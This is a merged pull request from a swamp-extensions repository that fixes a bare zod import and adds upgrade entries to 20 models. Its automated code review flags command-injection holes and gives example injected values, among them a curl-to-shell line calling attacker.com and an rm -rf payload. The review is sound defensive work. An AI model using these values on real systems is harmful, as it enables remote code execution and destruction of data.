fix: add missing upgrade entries and fix bare zod import (#549) #31

Merged
stack72 merged 2 commits from worktree-549 into main 2026-06-04 16:48:22 +00:00
Owner

Summary

Fixes two classes of shipping defects introduced by the copyright/branding commit (b5c38f74c), which bumped all extension model versions to 2026.06.04.1 without adding the corresponding upgrade entries. The SSH extension additionally had a bare zod import that fails the swamp bundler.

  • Bare zod import (SSH only): ssh/extensions/models/_lib/schemas.ts used import { z } from "zod" — works locally via deno.json import map, but the swamp bundler doesn't resolve bare specifiers. Changed to import { z } from "npm:zod@4.3.6" to match every other extension.
  • Missing upgrade entries (all 20 affected models): Added toVersion: "2026.06.04.1" no-op upgrade entries to all models that had their version bumped in the branding commit. Three models that never had an upgrades array (mini-shai-hulud, gcs-bootstrap, s3-bootstrap) now have one.

Impact

Without this fix:

  • Fresh pulls of @swamp/ssh fail at bundle time (Import "zod" not a dependency)
  • Existing saved instances of all 20 affected models cannot upgrade to 2026.06.04.1 (Last upgrade toVersion does not match model version)
  • swamp doctor extensions reports BundleBuildFailed for SSH; re-pulling does not recover

Same class of regression as #357 (@swamp/digitalocean v2026.05.14.1).

Affected extensions (20 model files)

Extension Models Fix
@swamp/ssh 1 Bare zod import fix + upgrade entry
@swamp/kubernetes/* 15 (configmap, deployment, event, hpa, ingress, job, namespace, netpol, node, pod, pod-summary, pvc, rbac, secret, service) Upgrade entries
@swamp/cve/dirtyfrag 1 Upgrade entry
@swamp/cve/mini-shai-hulud 1 New upgrades array + entry
@swamp/gcs-datastore-bootstrap/provisioner 1 New upgrades array + entry
@swamp/s3-datastore-bootstrap/provisioner 1 New upgrades array + entry

Why this is correct

  • The zod import now uses npm:zod@4.3.6 — the explicit specifier the bundler resolves, matching every other extension
  • All upgrade entries are identity migrations (upgradeAttributes: (old) => old) — the branding commit changed only copyright headers, no schemas
  • The loader requires the last toVersion to match the model's version field; every model now satisfies this invariant

Verification

  • deno check passes for all 6 affected extension directories
  • deno lint clean across all affected directories
  • deno install --frozen confirms no lockfile drift
  • grep -rn 'from "zod"' returns zero hits (no bare imports remain)
  • All 20 model files have a toVersion: "2026.06.04.1" upgrade entry

Test plan

  • deno check passes for all 6 affected extension directories
  • deno lint clean
  • deno install --frozen — no lockfile drift
  • No bare "zod" imports remain in ssh/, kubernetes/, cve/, or workflows/
  • All 20 models have toVersion: "2026.06.04.1" in their upgrades array
  • CI passes all matrix jobs for ssh, kubernetes, cve, and workflow extensions
  • Extensions publish correctly with updated models

Reported-By: bixu (swamp-club #549)
Co-Authored-By: bixu bixu@users.noreply.swamp-club.com

## Summary Fixes two classes of shipping defects introduced by the copyright/branding commit (`b5c38f74c`), which bumped all extension model versions to `2026.06.04.1` without adding the corresponding upgrade entries. The SSH extension additionally had a bare `zod` import that fails the swamp bundler. - **Bare zod import (SSH only):** `ssh/extensions/models/_lib/schemas.ts` used `import { z } from "zod"` — works locally via `deno.json` import map, but the swamp bundler doesn't resolve bare specifiers. Changed to `import { z } from "npm:zod@4.3.6"` to match every other extension. - **Missing upgrade entries (all 20 affected models):** Added `toVersion: "2026.06.04.1"` no-op upgrade entries to all models that had their version bumped in the branding commit. Three models that never had an `upgrades` array (`mini-shai-hulud`, `gcs-bootstrap`, `s3-bootstrap`) now have one. ## Impact Without this fix: - **Fresh pulls** of `@swamp/ssh` fail at bundle time (`Import "zod" not a dependency`) - **Existing saved instances** of all 20 affected models cannot upgrade to `2026.06.04.1` (`Last upgrade toVersion does not match model version`) - `swamp doctor extensions` reports `BundleBuildFailed` for SSH; re-pulling does not recover Same class of regression as #357 (`@swamp/digitalocean` v2026.05.14.1). ## Affected extensions (20 model files) | Extension | Models | Fix | |-----------|--------|-----| | `@swamp/ssh` | 1 | Bare zod import fix + upgrade entry | | `@swamp/kubernetes/*` | 15 (configmap, deployment, event, hpa, ingress, job, namespace, netpol, node, pod, pod-summary, pvc, rbac, secret, service) | Upgrade entries | | `@swamp/cve/dirtyfrag` | 1 | Upgrade entry | | `@swamp/cve/mini-shai-hulud` | 1 | New upgrades array + entry | | `@swamp/gcs-datastore-bootstrap/provisioner` | 1 | New upgrades array + entry | | `@swamp/s3-datastore-bootstrap/provisioner` | 1 | New upgrades array + entry | ## Why this is correct - The zod import now uses `npm:zod@4.3.6` — the explicit specifier the bundler resolves, matching every other extension - All upgrade entries are identity migrations (`upgradeAttributes: (old) => old`) — the branding commit changed only copyright headers, no schemas - The loader requires the last `toVersion` to match the model's `version` field; every model now satisfies this invariant ## Verification - `deno check` passes for all 6 affected extension directories - `deno lint` clean across all affected directories - `deno install --frozen` confirms no lockfile drift - `grep -rn 'from "zod"'` returns zero hits (no bare imports remain) - All 20 model files have a `toVersion: "2026.06.04.1"` upgrade entry ## Test plan - [x] `deno check` passes for all 6 affected extension directories - [x] `deno lint` clean - [x] `deno install --frozen` — no lockfile drift - [x] No bare `"zod"` imports remain in ssh/, kubernetes/, cve/, or workflows/ - [x] All 20 models have `toVersion: "2026.06.04.1"` in their upgrades array - [ ] CI passes all matrix jobs for ssh, kubernetes, cve, and workflow extensions - [ ] Extensions publish correctly with updated models Reported-By: bixu (swamp-club #549) Co-Authored-By: bixu <bixu@users.noreply.swamp-club.com>
stack72 self-assigned this 2026-06-04 16:16:01 +00:00
stack72 force-pushed worktree-549 from 5d85044ec5
Some checks failed
CI / datastore/s3 - lockfile up to date (pull_request) Has been skipped
CI / issue-lifecycle - lint (pull_request) Has been skipped
CI / issue-lifecycle - fmt (pull_request) Has been skipped
CI / issue-lifecycle - test (pull_request) Has been skipped
CI / issue-lifecycle - lockfile up to date (pull_request) Has been skipped
CI / workflows/s3-bootstrap - lint (pull_request) Successful in 1m6s
CI / workflows/s3-bootstrap - check (pull_request) Successful in 1m13s
CI / workflows/s3-bootstrap - fmt (pull_request) Failing after 1m4s
CI / workflows/gcs-bootstrap - fmt (pull_request) Failing after 1m29s
CI / cve/dirtyfrag - lint (pull_request) Successful in 1m15s
CI / cve/dirtyfrag - fmt (pull_request) Failing after 1m16s
CI / workflows/s3-bootstrap - test (pull_request) Successful in 1m28s
CI / workflows/gcs-bootstrap - lint (pull_request) Successful in 1m30s
CI / workflows/gcs-bootstrap - lockfile up to date (pull_request) Successful in 1m26s
CI / workflows/gcs-bootstrap - test (pull_request) Successful in 1m30s
CI / workflows/s3-bootstrap - lockfile up to date (pull_request) Successful in 1m27s
CI / cve/dirtyfrag - check (pull_request) Successful in 1m26s
CI / model/digitalocean - check (pull_request) Has been skipped
CI / model/hetzner-cloud - check (pull_request) Has been skipped
CI / CI Security Review (pull_request) Has been skipped
CI / cve/dirtyfrag - test (pull_request) Successful in 55s
CI / cve/dirtyfrag - lockfile up to date (pull_request) Successful in 1m0s
CI / cve/mini-shai-hulud - fmt (pull_request) Failing after 56s
CI / cve/mini-shai-hulud - check (pull_request) Successful in 1m10s
CI / cve/mini-shai-hulud - lint (pull_request) Successful in 1m11s
CI / cve/mini-shai-hulud - lockfile up to date (pull_request) Successful in 1m3s
CI / cve/mini-shai-hulud - test (pull_request) Successful in 1m15s
CI / Claude Code Review (pull_request) Has been skipped
CI / Adversarial Code Review (pull_request) Has been skipped
CI / Merge Gate (pull_request) Failing after 26s
to d717e9aa65
Some checks failed
CI / ssh - check (pull_request) Has been cancelled
CI / ssh - fmt (pull_request) Has been cancelled
CI / model/digitalocean - lockfile up to date (pull_request) Has been cancelled
CI / kubernetes - check (pull_request) Has been cancelled
CI / kubernetes - fmt (pull_request) Has been cancelled
CI / kubernetes - lint (pull_request) Has been cancelled
CI / kubernetes - lockfile up to date (pull_request) Has been cancelled
CI / workflows/gcs-bootstrap - check (pull_request) Has been cancelled
CI / workflows/gcs-bootstrap - fmt (pull_request) Has been cancelled
CI / workflows/s3-bootstrap - fmt (pull_request) Has been cancelled
CI / workflows/gcs-bootstrap - lint (pull_request) Has been cancelled
CI / workflows/s3-bootstrap - lint (pull_request) Has been cancelled
CI / workflows/s3-bootstrap - test (pull_request) Has been cancelled
CI / workflows/gcs-bootstrap - lockfile up to date (pull_request) Has been cancelled
CI / workflows/s3-bootstrap - lockfile up to date (pull_request) Has been cancelled
CI / model/hetzner-cloud - lockfile up to date (pull_request) Has been cancelled
CI / cve/dirtyfrag - check (pull_request) Has been cancelled
CI / cve/dirtyfrag - lint (pull_request) Has been cancelled
CI / cve/dirtyfrag - test (pull_request) Has been cancelled
CI / cve/mini-shai-hulud - check (pull_request) Has been cancelled
CI / cve/mini-shai-hulud - fmt (pull_request) Has been cancelled
CI / cve/mini-shai-hulud - test (pull_request) Has been cancelled
CI / cve/dirtyfrag - lockfile up to date (pull_request) Has been cancelled
CI / cve/mini-shai-hulud - lockfile up to date (pull_request) Has been cancelled
CI / model/digitalocean - check (pull_request) Has been cancelled
CI / issue-lifecycle - lint (pull_request) Has been cancelled
CI / Claude Code Review (pull_request) Has been cancelled
CI / Adversarial Code Review (pull_request) Has been cancelled
CI / workflows/s3-bootstrap - check (pull_request) Has been cancelled
CI / cve/mini-shai-hulud - lint (pull_request) Has been cancelled
2026-06-04 16:33:42 +00:00
Compare
fix: apply deno fmt to upgrade entry descriptions
Some checks failed
CI / ssh - test (pull_request) Successful in 1m19s
CI / kubernetes - lint (pull_request) Successful in 1m7s
CI / kubernetes - fmt (pull_request) Successful in 1m8s
CI / workflows/gcs-bootstrap - check (pull_request) Successful in 1m0s
CI / cve/dirtyfrag - lint (pull_request) Successful in 1m3s
CI / workflows/s3-bootstrap - fmt (pull_request) Successful in 1m0s
CI / workflows/gcs-bootstrap - fmt (pull_request) Successful in 59s
CI / workflows/s3-bootstrap - check (pull_request) Successful in 58s
CI / workflows/s3-bootstrap - lint (pull_request) Successful in 1m8s
CI / workflows/gcs-bootstrap - lint (pull_request) Successful in 1m10s
CI / workflows/gcs-bootstrap - test (pull_request) Successful in 1m9s
CI / workflows/s3-bootstrap - test (pull_request) Successful in 1m16s
CI / model/digitalocean - check (pull_request) Has been skipped
CI / model/hetzner-cloud - check (pull_request) Has been skipped
CI / model/digitalocean - lockfile up to date (pull_request) Has been skipped
CI / model/hetzner-cloud - lockfile up to date (pull_request) Has been skipped
CI / codegen - fmt (pull_request) Has been skipped
CI / codegen - lint (pull_request) Has been skipped
CI / cve/mini-shai-hulud - check (pull_request) Successful in 51s
CI / codegen - lockfile up to date (pull_request) Has been skipped
CI / CI Security Review (pull_request) Has been skipped
CI / cve/dirtyfrag - test (pull_request) Successful in 56s
CI / cve/mini-shai-hulud - lint (pull_request) Successful in 54s
CI / cve/mini-shai-hulud - fmt (pull_request) Successful in 55s
CI / cve/dirtyfrag - lockfile up to date (pull_request) Successful in 55s
CI / cve/mini-shai-hulud - lockfile up to date (pull_request) Successful in 1m2s
CI / cve/mini-shai-hulud - test (pull_request) Successful in 1m2s
CI / Adversarial Code Review (pull_request) Successful in 4m0s
CI / Claude Code Review (pull_request) Failing after 19m38s
CI / Merge Gate (pull_request) Failing after 31s
b9443bc49f
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Author
Owner

Adversarial Review

Medium

  1. Missing intermediate upgrade entries for newly-created upgrades arrayscve/mini-shai-hulud/extensions/models/mini_shai_hulud_detect.ts:502, workflows/s3-bootstrap/extensions/models/provisioner.ts:36, workflows/gcs-bootstrap/extensions/models/provisioner.ts:33

    Three models get their first-ever upgrades array, but each only contains a single entry for toVersion: "2026.06.04.1". These models had prior published versions:

    • mini-shai-hulud: 2026.05.19.12026.06.04.1
    • s3-bootstrap/provisioner: 2026.04.21.12026.04.22.12026.04.22.32026.06.04.1
    • gcs-bootstrap/provisioner: 2026.04.21.1 → ... → 2026.06.04.1

    If the framework requires contiguous upgrade entries (version-by-version stepping), instances at older versions would fail to upgrade. Since all upgradeAttributes functions are identity (pass-through), this is functionally harmless — no attributes actually need transformation. But if the framework validates upgrade chain continuity, this could block upgrades for instances still running pre-2026.06.04.1 versions. This is a pre-existing gap (these models never had upgrade entries), so it's not introduced by this PR — but the PR does codify the assumption that a single jump is valid.

Low

  1. Zod import change is safe but has an invisible duplicate resolution pathssh/extensions/models/_lib/schemas.ts:30

    The import changed from "zod" to "npm:zod@4.3.6". Since ssh/deno.json maps "zod""npm:zod@4.3.6", both resolve identically. The change aligns with every other extension in the repo (all use explicit npm:zod@4.3.6). No functional impact; purely a consistency improvement.

Verdict

PASS — This is a mechanical branding version bump. All 20 upgrade entries are identity pass-throughs with consistent toVersion matching each model's version field. The zod import fix is correct. No logic changes, no security concerns, no data transformation risks. The missing intermediate upgrade entries for three models are a pre-existing gap, not introduced here.

## Adversarial Review ### Medium 1. **Missing intermediate upgrade entries for newly-created `upgrades` arrays** — `cve/mini-shai-hulud/extensions/models/mini_shai_hulud_detect.ts:502`, `workflows/s3-bootstrap/extensions/models/provisioner.ts:36`, `workflows/gcs-bootstrap/extensions/models/provisioner.ts:33` Three models get their first-ever `upgrades` array, but each only contains a single entry for `toVersion: "2026.06.04.1"`. These models had prior published versions: - `mini-shai-hulud`: `2026.05.19.1` → `2026.06.04.1` - `s3-bootstrap/provisioner`: `2026.04.21.1` → `2026.04.22.1` → `2026.04.22.3` → `2026.06.04.1` - `gcs-bootstrap/provisioner`: `2026.04.21.1` → ... → `2026.06.04.1` If the framework requires contiguous upgrade entries (version-by-version stepping), instances at older versions would fail to upgrade. Since all `upgradeAttributes` functions are identity (pass-through), this is functionally harmless — no attributes actually need transformation. But if the framework validates upgrade chain continuity, this could block upgrades for instances still running pre-`2026.06.04.1` versions. **This is a pre-existing gap** (these models never had upgrade entries), so it's not introduced by this PR — but the PR does codify the assumption that a single jump is valid. ### Low 1. **Zod import change is safe but has an invisible duplicate resolution path** — `ssh/extensions/models/_lib/schemas.ts:30` The import changed from `"zod"` to `"npm:zod@4.3.6"`. Since `ssh/deno.json` maps `"zod"` → `"npm:zod@4.3.6"`, both resolve identically. The change aligns with every other extension in the repo (all use explicit `npm:zod@4.3.6`). No functional impact; purely a consistency improvement. ### Verdict **PASS** — This is a mechanical branding version bump. All 20 upgrade entries are identity pass-throughs with consistent `toVersion` matching each model's `version` field. The zod import fix is correct. No logic changes, no security concerns, no data transformation risks. The missing intermediate upgrade entries for three models are a pre-existing gap, not introduced here.
stack72 deleted branch worktree-549 2026-06-04 16:48:22 +00:00
Author
Owner

Code Review

This PR is a copyright/branding update to "Elder Swamp Club, Inc." across 21 model files. Each file gains a new 2026.06.04.1 version and a corresponding upgrade entry that explicitly states "No code, schema, or behavior change." The upgrade entries, version numbers, and descriptions are all consistent.

CLAUDE.md compliance: No model/ files touched; no auto-generated code modified without codegen changes. All npm imports are pinned to exact versions (zod@4.3.6, @kubernetes/client-node@1.0.0, @aws-sdk/client-*@3.1024.0). No any types in hand-written code. All exports are named exports — no default exports.


Blocking Issues

  1. Command injection — cve/dirtyfrag/extensions/models/dirtyfrag_detect.ts, checkConnectivity() line 176

    The host parameter — sourced from user-supplied globalArgs.targetHost (schema: z.string() with no sanitization) — is interpolated directly into a bash -c string that executes on the local machine:

    `nc -z -w 5 ${host} ${port} 2>/dev/null || (echo >/dev/tcp/${host}/${port}) 2>/dev/null`
    

    A targetHost value such as 127.0.0.1; curl attacker.com/shell | sh executes arbitrary commands on the swamp runner. Fix: replace the bash -c approach with a direct subprocess invocation — e.g. Deno.Command("nc", { args: ["-z", "-w", "5", host, String(port)] }) — or add a hostname regex guard in the Zod schema (e.g. .regex(/^[A-Za-z0-9.\-:\[\]]+$/)) before the bash call is reached.

    Note: this issue pre-dates this PR (which is a no-code-change copyright update), but it is present in a changed file and must be addressed.

  2. Command injection — cve/dirtyfrag/extensions/models/dirtyfrag_detect.ts, scanHost() line 439

    The suBinaryPath parameter — sourced from user-supplied globalArgs.suBinaryPath (schema: z.string() with no sanitization) — is interpolated into a shell command sent to the target host via runCmd:

    `od -A n -t x1 -N 192 ${suBinaryPath} 2>/dev/null | tr -d ' \n'`
    

    A value like /bin/su; rm -rf /etc/modprobe.d would be injected into the remote shell. Fix: validate suBinaryPath in the schema with an absolute-path regex (e.g. z.string().regex(/^\/[A-Za-z0-9\/_.-]+$/)) before it is used in shell commands.

    Same note: pre-existing issue present in a changed file.


Suggestions

  1. dirtyfrag_detect.ts line 783 — fragile error-host extraction in scanFleet

    The host name is recovered from a rejection message by regex (errMsg.match(/Cannot .+ on (.+?):/)?.[1]). If the error message format ever changes, fleet scan summaries silently attribute all failures to "unknown". Threading the host name directly through the rejection via Object.assign(err, { host }) (as already done in the mitigate method’s catch block) would be more robust.

  2. dirtyfrag_detect.ts line 354 — implicit NaN arithmetic

    parseInt(builtinResult.stdout) returns NaN when the grep fallback emits "unknown". NaN > 0 is false, making the behavior accidentally correct; an explicit const n = parseInt(...); if (!isNaN(n) && n > 0) guard makes the intent unambiguous.

  3. mini_shai_hulud_detect.tsdetectFormat throws synchronously on unrecognised file names

    If lockfilePath points to a file with an unexpected name (e.g. reached via a symlink), detectFormat throws synchronously and the error surfaces as an unhandled rejection rather than a structured user-facing message. Wrapping it in a try/catch inside execute and re-throwing with the file path included would improve operator experience.

## Code Review This PR is a copyright/branding update to "Elder Swamp Club, Inc." across 21 model files. Each file gains a new `2026.06.04.1` version and a corresponding upgrade entry that explicitly states "No code, schema, or behavior change." The upgrade entries, version numbers, and descriptions are all consistent. **CLAUDE.md compliance:** No `model/` files touched; no auto-generated code modified without codegen changes. All npm imports are pinned to exact versions (`zod@4.3.6`, `@kubernetes/client-node@1.0.0`, `@aws-sdk/client-*@3.1024.0`). No `any` types in hand-written code. All exports are named exports — no default exports. --- ### Blocking Issues 1. **Command injection — `cve/dirtyfrag/extensions/models/dirtyfrag_detect.ts`, `checkConnectivity()` line 176** The `host` parameter — sourced from user-supplied `globalArgs.targetHost` (schema: `z.string()` with no sanitization) — is interpolated directly into a `bash -c` string that executes on the **local machine**: ```ts `nc -z -w 5 ${host} ${port} 2>/dev/null || (echo >/dev/tcp/${host}/${port}) 2>/dev/null` ``` A `targetHost` value such as `127.0.0.1; curl attacker.com/shell | sh` executes arbitrary commands on the swamp runner. Fix: replace the `bash -c` approach with a direct subprocess invocation — e.g. `Deno.Command("nc", { args: ["-z", "-w", "5", host, String(port)] })` — or add a hostname regex guard in the Zod schema (e.g. `.regex(/^[A-Za-z0-9.\-:\[\]]+$/)`) before the bash call is reached. Note: this issue pre-dates this PR (which is a no-code-change copyright update), but it is present in a changed file and must be addressed. 2. **Command injection — `cve/dirtyfrag/extensions/models/dirtyfrag_detect.ts`, `scanHost()` line 439** The `suBinaryPath` parameter — sourced from user-supplied `globalArgs.suBinaryPath` (schema: `z.string()` with no sanitization) — is interpolated into a shell command sent to the **target host** via `runCmd`: ```ts `od -A n -t x1 -N 192 ${suBinaryPath} 2>/dev/null | tr -d ' \n'` ``` A value like `/bin/su; rm -rf /etc/modprobe.d` would be injected into the remote shell. Fix: validate `suBinaryPath` in the schema with an absolute-path regex (e.g. `z.string().regex(/^\/[A-Za-z0-9\/_.-]+$/)`) before it is used in shell commands. Same note: pre-existing issue present in a changed file. --- ### Suggestions 1. **`dirtyfrag_detect.ts` line 783 — fragile error-host extraction in `scanFleet`** The host name is recovered from a rejection message by regex (`errMsg.match(/Cannot .+ on (.+?):/)?.[1]`). If the error message format ever changes, fleet scan summaries silently attribute all failures to `"unknown"`. Threading the host name directly through the rejection via `Object.assign(err, { host })` (as already done in the `mitigate` method’s `catch` block) would be more robust. 2. **`dirtyfrag_detect.ts` line 354 — implicit `NaN` arithmetic** `parseInt(builtinResult.stdout)` returns `NaN` when the grep fallback emits `"unknown"`. `NaN > 0` is `false`, making the behavior accidentally correct; an explicit `const n = parseInt(...); if (!isNaN(n) && n > 0)` guard makes the intent unambiguous. 3. **`mini_shai_hulud_detect.ts` — `detectFormat` throws synchronously on unrecognised file names** If `lockfilePath` points to a file with an unexpected name (e.g. reached via a symlink), `detectFormat` throws synchronously and the error surfaces as an unhandled rejection rather than a structured user-facing message. Wrapping it in a `try/catch` inside `execute` and re-throwing with the file path included would improve operator experience.
Sign in to join this conversation.
No reviewers
No labels
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
swamp-club/swamp-extensions!31
No description provided.